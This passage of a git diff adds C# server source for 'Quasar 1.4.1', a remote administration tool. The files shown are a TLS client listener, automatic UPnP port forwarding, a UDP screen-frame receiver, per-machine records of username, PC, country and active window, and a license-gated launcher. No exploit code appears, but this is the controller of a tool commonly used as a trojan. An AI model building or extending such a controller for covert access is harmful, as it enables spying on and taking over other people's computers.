The new listening state of the server. + private void OnServerState(bool listening) + { + if (Listening == listening) return; + + Listening = listening; + + var handler = ServerState; + handler?.Invoke(this, listening, Port); + } + + /// + /// Occurs when the state of a client changes. + /// + public event ClientStateEventHandler ClientState; + + /// + /// Represents a method that will handle a change in a client's state. + /// + /// The server, the client is connected to. + /// The client which changed its state. + /// The new connection state of the client. + public delegate void ClientStateEventHandler(Server s, Client c, bool connected); + + /// + /// Fires an event that informs subscribers that a client has changed its state. + /// + /// The client which changed its state. + /// The new connection state of the client. + private void OnClientState(Client c, bool connected) + { + if (!connected) + RemoveClient(c); + + var handler = ClientState; + handler?.Invoke(this, c, connected); + } + + /// + /// Occurs when a message is received by a client. + /// + public event ClientReadEventHandler ClientRead; + + /// + /// Represents a method that will handle a message received from a client. + /// + /// The server, the client is connected to. + /// The client that has received the message. + /// The message that received by the client. + public delegate void ClientReadEventHandler(Server s, Client c, IMessage message); + + /// + /// Fires an event that informs subscribers that a message has been + /// received from the client. + /// + /// The client that has received the message. + /// The message that received by the client. + /// The length of the message. + private void OnClientRead(Client c, IMessage message, int messageLength) + { + Interlocked.Add(ref _bytesReceived, messageLength); + var handler = ClientRead; + handler?.Invoke(this, c, message); + } + + /// + /// Occurs when a message is sent by a client. + /// + public event ClientWriteEventHandler ClientWrite; + + /// + /// Represents the method that will handle the sent message by a client. + /// + /// The server, the client is connected to. + /// The client that has sent the message. + /// The message that has been sent by the client. + public delegate void ClientWriteEventHandler(Server s, Client c, IMessage message); + + /// + /// Fires an event that informs subscribers that the client has sent a message. + /// + /// The client that has sent the message. + /// The message that has been sent by the client. + /// The length of the message. + private void OnClientWrite(Client c, IMessage message, int messageLength) + { + Interlocked.Add(ref _bytesSent, messageLength); + var handler = ClientWrite; + handler?.Invoke(this, c, message); + } + + /// + /// The port on which the server is listening. + /// + public ushort Port { get; private set; } + + /// + /// The total amount of received bytes. + /// + public long BytesReceived => Interlocked.Read(ref _bytesReceived); + private long _bytesReceived; + + /// + /// The total amount of sent bytes. + /// + public long BytesSent => Interlocked.Read(ref _bytesSent); + private long _bytesSent; + + /// + /// The buffer size for receiving data in bytes. + /// + private const int BufferSize = 1024 * 16; // 16 KB + + /// + /// The keep-alive time in ms. + /// + private const uint KeepAliveTime = 25000; // 25 s + + /// + /// The keep-alive interval in ms. + /// + private const uint KeepAliveInterval = 25000; // 25 s + + /// + /// The buffer pool to hold the receive-buffers for the clients. + /// + private readonly BufferPool _bufferPool = new BufferPool(BufferSize, 1) { ClearOnReturn = false }; + + /// + /// The listening state of the server. True if listening, else False. + /// + public bool Listening { get; private set; } + + /// + /// Gets the clients currently connected to the server. + /// + protected Client[] Clients + { + get + { + lock (_clientsLock) + { + return _clients.ToArray(); + } + } + } + + /// + /// Handle of the Server Socket. + /// + private Socket _handle; + + /// + /// The server certificate. + /// + protected readonly X509Certificate2 ServerCertificate; + + /// + /// The event to accept new connections asynchronously. + /// + private SocketAsyncEventArgs _item; + + /// + /// List of the clients connected to the server. + /// + private readonly List _clients = new List(); + + /// + /// The UPnP service used to discover, create and delete port mappings. + /// + private UPnPService _UPnPService; + + /// + /// Lock object for the list of clients. + /// + private readonly object _clientsLock = new object(); + + /// + /// Determines if the server is currently processing Disconnect method. + /// + protected bool ProcessingDisconnect { get; set; } + + /// + /// Constructor of the server, initializes serializer types. + /// + /// The server certificate. + protected Server(X509Certificate2 serverCertificate) + { + ServerCertificate = serverCertificate; + TypeRegistry.AddTypesToSerializer(typeof(IMessage), TypeRegistry.GetPacketTypes(typeof(IMessage)).ToArray()); + } + + /// + /// Begins listening for clients. + /// + /// Port to listen for clients on. + /// If set to true, use a dual-stack socket to allow IPv4/6 connections. Otherwise use IPv4-only socket. + /// Enables the automatic UPnP port forwarding. + public void Listen(ushort port, bool ipv6, bool enableUPnP) + { + if (Listening) return; + this.Port = port; + + if (enableUPnP) + { + _UPnPService = new UPnPService(); + _UPnPService.CreatePortMapAsync(port); + } + + if (Socket.OSSupportsIPv6 && ipv6) + { + _handle = new Socket(AddressFamily.InterNetworkV6, SocketType.Stream, ProtocolType.Tcp); + _handle.SetSocketOption(SocketOptionLevel.IPv6, SocketOptionName.IPv6Only, 0); + _handle.Bind(new IPEndPoint(IPAddress.IPv6Any, port)); + } + else + { + _handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + _handle.Bind(new IPEndPoint(IPAddress.Any, port)); + } + _handle.Listen(1000); + + OnServerState(true); + + _item = new SocketAsyncEventArgs(); + _item.Completed += AcceptClient; + + if (!_handle.AcceptAsync(_item)) + AcceptClient(this, _item); + } + + /// + /// Accepts and begins authenticating an incoming client. + /// + /// The sender. + /// Asynchronous socket event. + private void AcceptClient(object s, SocketAsyncEventArgs e) + { + try + { + do + { + switch (e.SocketError) + { + case SocketError.Success: + SslStream sslStream = null; + try + { + Socket clientSocket = e.AcceptSocket; + clientSocket.SetKeepAliveEx(KeepAliveInterval, KeepAliveTime); + sslStream = new SslStream(new NetworkStream(clientSocket, true), false); + // the SslStream owns the socket and on disposing also disposes the NetworkStream and Socket + sslStream.BeginAuthenticateAsServer(ServerCertificate, false, SslProtocols.Tls12, false, EndAuthenticateClient, + new PendingClient {Stream = sslStream, EndPoint = (IPEndPoint) clientSocket.RemoteEndPoint}); + } + catch (Exception) + { + sslStream?.Close(); + } + break; + case SocketError.ConnectionReset: + break; + default: + throw new SocketException((int) e.SocketError); + } + + e.AcceptSocket = null; // enable reuse + } while (!_handle.AcceptAsync(e)); + } + catch (ObjectDisposedException) + { + } + catch (Exception) + { + Disconnect(); + } + } + + private class PendingClient + { + public SslStream Stream { get; set; } + public IPEndPoint EndPoint { get; set; } + } + + /// + /// Ends the authentication process of a newly connected client. + /// + /// The status of the asynchronous operation. + private void EndAuthenticateClient(IAsyncResult ar) + { + var con = (PendingClient) ar.AsyncState; + try + { + con.Stream.EndAuthenticateAsServer(ar); + + Client client = new Client(_bufferPool, con.Stream, con.EndPoint); + AddClient(client); + OnClientState(client, true); + } + catch (Exception) + { + con.Stream.Close(); + } + } + + /// + /// Adds a connected client to the list of clients, + /// subscribes to the client's events. + /// + /// The client to add. + private void AddClient(Client client) + { + lock (_clientsLock) + { + client.ClientState += OnClientState; + client.ClientRead += OnClientRead; + client.ClientWrite += OnClientWrite; + _clients.Add(client); + } + } + + /// + /// Removes a disconnected client from the list of clients, + /// unsubscribes from the client's events. + /// + /// The client to remove. + private void RemoveClient(Client client) + { + if (ProcessingDisconnect) return; + + lock (_clientsLock) + { + client.ClientState -= OnClientState; + client.ClientRead -= OnClientRead; + client.ClientWrite -= OnClientWrite; + _clients.Remove(client); + } + } + + /// + /// Disconnect the server from all of the clients and discontinue + /// listening (placing the server in an "off" state). + /// + public void Disconnect() + { + if (ProcessingDisconnect) return; + ProcessingDisconnect = true; + + if (_handle != null) + { + _handle.Close(); + _handle = null; + } + + if (_item != null) + { + _item.Dispose(); + _item = null; + } + + if (_UPnPService != null) + { + _UPnPService.DeletePortMapAsync(Port); + _UPnPService = null; + } + + lock (_clientsLock) + { + while (_clients.Count != 0) + { + try + { + _clients[0].Disconnect(); + _clients[0].ClientState -= OnClientState; + _clients[0].ClientRead -= OnClientRead; + _clients[0].ClientWrite -= OnClientWrite; + _clients.RemoveAt(0); + } + catch + { + } + } + } + + ProcessingDisconnect = false; + OnServerState(false); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Networking/UPnPService.cs b/Quasar-1.4.1/Quasar.Server/Networking/UPnPService.cs new file mode 100755 index 0000000..18c5bcf --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Networking/UPnPService.cs @@ -0,0 +1,77 @@ +using Open.Nat; +using System; +using System.Collections.Generic; +using System.Threading; + +namespace Quasar.Server.Networking +{ + public class UPnPService + { + /// + /// Used to keep track of all created mappings. + /// + private readonly Dictionary _mappings = new Dictionary(); + + /// + /// The discovered UPnP device. + /// + private NatDevice _device; + + /// + /// The NAT discoverer used to discover NAT-UPnP devices. + /// + private NatDiscoverer _discoverer; + + /// + /// Initializes the discovery of new UPnP devices. + /// + public UPnPService() + { + _discoverer = new NatDiscoverer(); + } + + /// + /// Creates a new port mapping on the UPnP device. + /// + /// The port to map. + public async void CreatePortMapAsync(int port) + { + try + { + var cts = new CancellationTokenSource(10000); + _device = await _discoverer.DiscoverDeviceAsync(PortMapper.Upnp, cts); + + Mapping mapping = new Mapping(Protocol.Tcp, port, port); + + await _device.CreatePortMapAsync(mapping); + + if (_mappings.ContainsKey(mapping.PrivatePort)) + _mappings[mapping.PrivatePort] = mapping; + else + _mappings.Add(mapping.PrivatePort, mapping); + } + catch (Exception ex) when (ex is MappingException || ex is NatDeviceNotFoundException) + { + } + } + + /// + /// Deletes an existing port mapping. + /// + /// The port mapping to delete. + public async void DeletePortMapAsync(int port) + { + if (_mappings.TryGetValue(port, out var mapping)) + { + try + { + await _device.DeletePortMapAsync(mapping); + _mappings.Remove(mapping.PrivatePort); + } + catch (Exception ex) when (ex is MappingException || ex is NatDeviceNotFoundException) + { + } + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Networking/UdpFrameReceiver.cs b/Quasar-1.4.1/Quasar.Server/Networking/UdpFrameReceiver.cs new file mode 100755 index 0000000..908881d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Networking/UdpFrameReceiver.cs @@ -0,0 +1,132 @@ +using Quasar.Common.Video; +using System; +using System.Collections.Generic; +using System.Net; +using System.Net.Sockets; +using System.Threading; + +namespace Quasar.Server.Networking +{ + /// + /// Listens on a UDP port and reassembles fragmented frames sent by the client. + /// Fires FrameAssembled when a complete frame is ready. + /// Thread-safe; call Dispose to stop. + /// + public class UdpFrameReceiver : IDisposable + { + /// Fired on the thread-pool when a complete frame payload is assembled. + public event Action FrameAssembled; + + public int Port { get; private set; } + + private UdpClient _udp; + private Thread _receiveThread; + private volatile bool _running; + + // Reassembly state for the current in-progress frame + private readonly object _assemblyLock = new object(); + private uint _currentFrameId = uint.MaxValue; + private byte[][] _chunks; + private int _chunksReceived; + private ushort _totalChunks; + private ushort _currentFlags; + + public UdpFrameReceiver(int port) + { + Port = port; + _udp = new UdpClient(port); + _udp.Client.ReceiveBufferSize = 1024 * 1024; // 1 MB receive buffer + } + + public void Start() + { + _running = true; + _receiveThread = new Thread(ReceiveLoop) + { + IsBackground = true, + Name = "UdpFrameReceiver" + }; + _receiveThread.Start(); + } + + private void ReceiveLoop() + { + IPEndPoint remote = new IPEndPoint(IPAddress.Any, 0); + while (_running) + { + try + { + byte[] data = _udp.Receive(ref remote); + if (data.Length < UdpFrameProtocol.HeaderSize) continue; + + UdpFrameProtocol.ParseHeader(data, out uint frameId, out ushort chunkIndex, out ushort totalChunks, out ushort flags); + + int payloadLen = data.Length - UdpFrameProtocol.HeaderSize; + byte[] payload = new byte[payloadLen]; + Buffer.BlockCopy(data, UdpFrameProtocol.HeaderSize, payload, 0, payloadLen); + + lock (_assemblyLock) + { + // New frame — reset assembly state + if (frameId != _currentFrameId) + { + _currentFrameId = frameId; + _totalChunks = totalChunks; + _currentFlags = flags; + _chunks = new byte[totalChunks][]; + _chunksReceived = 0; + } + + if (chunkIndex < _totalChunks && _chunks[chunkIndex] == null) + { + _chunks[chunkIndex] = payload; + _chunksReceived++; + + if (_chunksReceived == _totalChunks) + { + // Assemble full frame + int total = 0; + for (int i = 0; i < _totalChunks; i++) total += _chunks[i].Length; + + byte[] frame = new byte[total]; + int pos = 0; + for (int i = 0; i < _totalChunks; i++) + { + Buffer.BlockCopy(_chunks[i], 0, frame, pos, _chunks[i].Length); + pos += _chunks[i].Length; + } + + // Decompress if flagged + if ((_currentFlags & UdpFrameProtocol.FlagCompressed) != 0) + { + try { frame = UdpFrameProtocol.Decompress(frame); } + catch { continue; } + } + + var assembled = frame; + ThreadPool.QueueUserWorkItem(_ => FrameAssembled?.Invoke(assembled)); + + // Reset + _chunks = null; + _chunksReceived = 0; + } + } + } + } + catch (SocketException) + { + // Socket closed — exit loop + break; + } + catch { /* swallow other errors, keep running */ } + } + } + + public void Dispose() + { + _running = false; + try { _udp?.Close(); } catch { } + _udp = null; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Networking/UserState.cs b/Quasar-1.4.1/Quasar.Server/Networking/UserState.cs new file mode 100755 index 0000000..8dc1eec --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Networking/UserState.cs @@ -0,0 +1,34 @@ +using Quasar.Common.Cryptography; +using Quasar.Common.Helpers; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Server.Networking +{ + public class UserState + { + private string _downloadDirectory; + private Aes256 _aesInstance; + + public string Version { get; set; } + public string OperatingSystem { get; set; } + public string AccountType { get; set; } + public int ImageIndex { get; set; } + public string Country { get; set; } + public string CountryCode { get; set; } + public string Id { get; set; } + public string Username { get; set; } + public string PcName { get; set; } + public string UserAtPc => $"{Username}@{PcName}"; + public string CountryWithCode => $"{Country} [{CountryCode}]"; + public string Tag { get; set; } + public string EncryptionKey { get; set; } + public string ActiveWindow { get; set; } + + public Aes256 AesInstance => _aesInstance ?? (_aesInstance = new Aes256(EncryptionKey)); + + public string DownloadDirectory => _downloadDirectory ?? (_downloadDirectory = (!FileHelper.HasIllegalCharacters(UserAtPc)) + ? Path.Combine(Application.StartupPath, $"Clients\\{UserAtPc}_{Id.Substring(0, 7)}\\") + : Path.Combine(Application.StartupPath, $"Clients\\{Id}\\")); + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Program.cs b/Quasar-1.4.1/Quasar.Server/Program.cs new file mode 100755 index 0000000..9abf460 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Program.cs @@ -0,0 +1,78 @@ +using Quasar.Server.Forms; +using Quasar.Server.Utilities; +using System; +using System.Net; +using System.Windows.Forms; + +namespace Quasar.Server +{ + internal static class Program + { + [STAThread] + private static void Main() + { + try + { + DebugLogger.Log("Application starting"); + + // enable TLS 1.2 + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; + DebugLogger.Log("TLS 1.2 enabled"); + + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + DebugLogger.Log("Visual styles enabled"); + + // Initialize dark mode globally + DarkModeHelper.Initialize(); + DebugLogger.Log("Dark mode helper initialized"); + + // Apply dark mode to all forms automatically + if (Models.Settings.DarkMode) + { + DebugLogger.Log("Dark mode is enabled, starting timer"); + // Use a timer to periodically check for new forms and apply dark mode + var darkModeTimer = new System.Windows.Forms.Timer(); + darkModeTimer.Interval = 100; + darkModeTimer.Tick += (s, e) => + { + foreach (Form form in Application.OpenForms) + { + if (form.Tag == null || !form.Tag.Equals("DarkModeApplied")) + { + Utilities.ThemeManager.ApplyTheme(form); + form.Tag = "DarkModeApplied"; + } + } + }; + darkModeTimer.Start(); + } + + // Check license before starting + DebugLogger.Log("Checking license"); + if (!FrmLicense.CheckLicense()) + { + DebugLogger.Log("License check failed, showing license form"); + using (var licenseForm = new FrmLicense()) + { + if (licenseForm.ShowDialog() != DialogResult.OK) + { + DebugLogger.Log("License not activated, exiting"); + return; // Exit if license not activated + } + } + } + + DebugLogger.Log("Starting main form"); + Application.Run(new FrmMain()); + DebugLogger.Log("Application exited normally"); + } + catch (Exception ex) + { + DebugLogger.LogException("Main", ex); + MessageBox.Show($"Fatal error: {ex.Message}\n\nCheck QuasarDebug.txt on Desktop for details.", + "Quasar Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Properties/AssemblyInfo.cs b/Quasar-1.4.1/Quasar.Server/Properties/AssemblyInfo.cs new file mode 100755 index 0000000..1d180d8 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Properties/AssemblyInfo.cs @@ -0,0 +1,34 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// Allgemeine Informationen über eine Assembly werden über die folgenden +// Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, +// die mit einer Assembly verknüpft sind. +[assembly: AssemblyTitle("Quasar Server")] +[assembly: AssemblyDescription("Remote Administration Tool")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Quasar")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2023")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] +[assembly: InternalsVisibleTo("Server.Tests")] + +// Durch Festlegen von ComVisible auf "false" werden die Typen in dieser Assembly unsichtbar +// für COM-Komponenten. Wenn Sie auf einen Typ in dieser Assembly von +// COM zugreifen müssen, legen Sie das ComVisible-Attribut für diesen Typ auf "true" fest. +[assembly: ComVisible(false)] + +// Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten: +// +// Hauptversion +// Nebenversion +// Buildnummer +// Revision +// +// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern +// übernehmen, indem Sie "*" eingeben: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.4.1")] +[assembly: AssemblyFileVersion("1.4.1")] \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Properties/Resources.Designer.cs b/Quasar-1.4.1/Quasar.Server/Properties/Resources.Designer.cs new file mode 100755 index 0000000..9b8bffd --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Properties/Resources.Designer.cs @@ -0,0 +1,683 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace Quasar.Server.Properties { + using System; + + + /// + /// A strongly-typed resource class, for looking up localized strings, etc. + /// + // This class was auto-generated by the StronglyTypedResourceBuilder + // class via a tool like ResGen or Visual Studio. + // To add or remove a member, edit your .ResX file then rerun ResGen + // with the /str option, or rebuild your VS project. + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() { + } + + /// + /// Returns the cached ResourceManager instance used by this class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager { + get { + if (object.ReferenceEquals(resourceMan, null)) { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Quasar.Server.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// Overrides the current thread's CurrentUICulture property for all + /// resource lookups using this strongly typed resource class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture { + get { + return resourceCulture; + } + set { + resourceCulture = value; + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap actions { + get { + object obj = ResourceManager.GetObject("actions", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap application_add { + get { + object obj = ResourceManager.GetObject("application_add", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap application_cascade { + get { + object obj = ResourceManager.GetObject("application_cascade", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap application_delete { + get { + object obj = ResourceManager.GetObject("application_delete", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap application_edit { + get { + object obj = ResourceManager.GetObject("application_edit", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap application_go { + get { + object obj = ResourceManager.GetObject("application_go", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap arrow_down { + get { + object obj = ResourceManager.GetObject("arrow_down", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap arrow_up { + get { + object obj = ResourceManager.GetObject("arrow_up", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap bricks { + get { + object obj = ResourceManager.GetObject("bricks", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap broom { + get { + object obj = ResourceManager.GetObject("broom", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap camera { + get { + object obj = ResourceManager.GetObject("camera", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap cancel { + get { + object obj = ResourceManager.GetObject("cancel", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap cog { + get { + object obj = ResourceManager.GetObject("cog", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap computer { + get { + object obj = ResourceManager.GetObject("computer", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap delete { + get { + object obj = ResourceManager.GetObject("delete", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap drive_go { + get { + object obj = ResourceManager.GetObject("drive_go", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap folder { + get { + object obj = ResourceManager.GetObject("folder", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap information { + get { + object obj = ResourceManager.GetObject("information", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap key_go { + get { + object obj = ResourceManager.GetObject("key_go", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap keyboard_add { + get { + object obj = ResourceManager.GetObject("keyboard_add", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap keyboard_delete { + get { + object obj = ResourceManager.GetObject("keyboard_delete", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap keyboard_magnify { + get { + object obj = ResourceManager.GetObject("keyboard_magnify", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized string similar to MIT License + /// + ///Copyright (c) 2023 MaxXor + /// + ///Permission is hereby granted, free of charge, to any person obtaining a copy + ///of this software and associated documentation files (the "Software"), to deal + ///in the Software without restriction, including without limitation the rights + ///to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + ///copies of the Software, and to permit persons to whom the Software is + ///furnished to do so, subject to the following conditions: + /// + ///The above copyright notice [rest of string was truncated]";. + /// + internal static string License { + get { + return ResourceManager.GetString("License", resourceCulture); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap lightning { + get { + object obj = ResourceManager.GetObject("lightning", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap monitor { + get { + object obj = ResourceManager.GetObject("monitor", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap monitoring { + get { + object obj = ResourceManager.GetObject("monitoring", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap mouse_add { + get { + object obj = ResourceManager.GetObject("mouse_add", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap mouse_delete { + get { + object obj = ResourceManager.GetObject("mouse_delete", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap page_copy { + get { + object obj = ResourceManager.GetObject("page_copy", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap Quasar_Server { + get { + object obj = ResourceManager.GetObject("Quasar_Server", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap refresh { + get { + object obj = ResourceManager.GetObject("refresh", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap registry { + get { + object obj = ResourceManager.GetObject("registry", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap restart { + get { + object obj = ResourceManager.GetObject("restart", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap save { + get { + object obj = ResourceManager.GetObject("save", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap server { + get { + object obj = ResourceManager.GetObject("server", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap server_add { + get { + object obj = ResourceManager.GetObject("server_add", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap server_delete { + get { + object obj = ResourceManager.GetObject("server_delete", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap server_disconnect { + get { + object obj = ResourceManager.GetObject("server_disconnect", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap server_go { + get { + object obj = ResourceManager.GetObject("server_go", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap server_link { + get { + object obj = ResourceManager.GetObject("server_link", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap shutdown { + get { + object obj = ResourceManager.GetObject("shutdown", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap standby { + get { + object obj = ResourceManager.GetObject("standby", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap shield { + get { + object obj = ResourceManager.GetObject("shield", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap database_go { + get { + object obj = ResourceManager.GetObject("database_go", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap briefcase { + get { + object obj = ResourceManager.GetObject("briefcase", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap package_go { + get { + object obj = ResourceManager.GetObject("package_go", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + 